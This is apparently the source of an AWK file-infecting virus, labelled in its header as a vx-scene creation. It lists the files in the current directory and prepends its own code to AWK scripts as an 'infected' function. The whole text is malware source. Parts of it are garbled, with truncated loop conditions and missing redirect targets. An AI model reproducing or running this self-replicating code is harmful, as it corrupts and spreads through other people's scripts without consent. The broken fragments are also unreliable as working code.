#!/usr/bin/awk -f # *NIX.AWKward.AWK.Perforin-vxnetw0rk - Infecting AWK files in current directory by prepending code BEGIN { command1 = "ls -la -I awkward.awk| grep '^-' | awk '$5 > 0 {print $9}'" command2 = "awk 'END {print NR}' .awkward.tmp" while( command1 | getline line1 > 0) { print line1 > ".awkward.tmp" } close(command1) system("sleep 1") command2 | getline file_c close(command2) for (counter=0; counter buffer for (counter2=0; counter2 buffer } print "function infected() {" >> buffer for (counter3=0; counter3<44; counter3++) { getline copy < "awkward.awk" if (counter3 >= 3) { print copy >> buffer } } print "}" >> buffer } else { print "Not an awk script" } } system("rm .awkward.tmp") }